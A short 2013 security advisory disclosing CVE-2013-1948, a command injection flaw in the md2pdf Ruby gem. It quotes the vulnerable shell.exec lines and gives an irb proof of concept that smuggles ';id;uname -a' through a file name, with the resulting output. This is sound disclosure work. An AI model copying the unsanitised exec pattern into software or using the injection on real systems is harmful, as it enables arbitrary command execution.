Ruby Gem md2pdf Command Injection

`Remote command injection md2pdf ruby gem  
4/10/2013  
  
Description: "creates pdf documents from markdown documents"  
  
https://rubygems.org/gems/md2pdf  
  
In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.  
  
12 shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")  
  
23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")  
  
Where exec is defined as the following:  
  
37 def exec(command_line)  
38 require 'open3'  
39 stdin, stdout, stderr = Open3.popen3(command_line)  
40 return stdout.read  
41 end  
  
PoC Notes:  
  
irb(main):001:0> require 'open3'  
=> true  
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')  
=> [#, #, #]  
irb(main):003:0> puts stdout.read  
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)  
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux  
=> nil  
  
http://vapid.dhs.org/advisories/md2pdf-remote-exec.html  
  
  
This vulnerability has been assigned: CVE-2013-1948  
  
Larry W. Cashdollar  
@_larry0  
  
  
  
CVE-2013-1948  
`